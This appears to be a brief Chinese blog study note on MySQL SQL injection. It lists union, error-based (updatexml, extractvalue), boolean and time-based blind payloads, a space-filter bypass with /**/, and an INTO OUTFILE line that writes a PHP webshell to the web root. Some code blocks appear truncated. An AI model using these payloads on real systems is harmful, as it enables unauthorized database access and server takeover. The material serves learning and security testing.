sql基础知识
1 | 查看数据库:show databases |
1 | insert:插入 |
information_schema库
- mysql版本大于5.0版本都有information_schema库
- information_schema库中的三张重要表:
1 | SCHEMATA表:所有数据库信息(重要的列:schema_name) |
手工注入
1 | 查看数据库: |
- 获取MySQL数据库的全局系统变量secure_priv的值:
1 | -1 union select 1,(select@@global.secure_priv),3 |
- into outfile
- INTO OUTFILE是 MySQL 数据库中的一个语句,用于将查询的结果直接输出到服务器上的文件中。这个语句通常用于将表中的数据导出到文本文件或 CSV 文件中。
1 | into outfile '/var/www/html/webshell.php' # |
盲注
报错注入
- updatexml()函数
1 | -1 and updatexml(0,concat(0x7e,database(),0x7e),0) |
- extractvalue()函数
1 | 1 and (extractvalue(1,concat(0x7e,(select database()),0x7e))) |
布尔注入
1 | 判断数据库长度:输入1' and length(database())>2 # |
时间盲注
1 | 判断是否执行sleep()函数:1 and if(1=1,sleep(5),1) # 有延时5秒说明执行。 |
- 布尔注入和时间盲注不是人干的活,交给工具
空格过滤
- 用
/**/替换空格 - 用
/**/将sql语句隔开使其可以正常执行
评论区
欢迎你留下宝贵的意见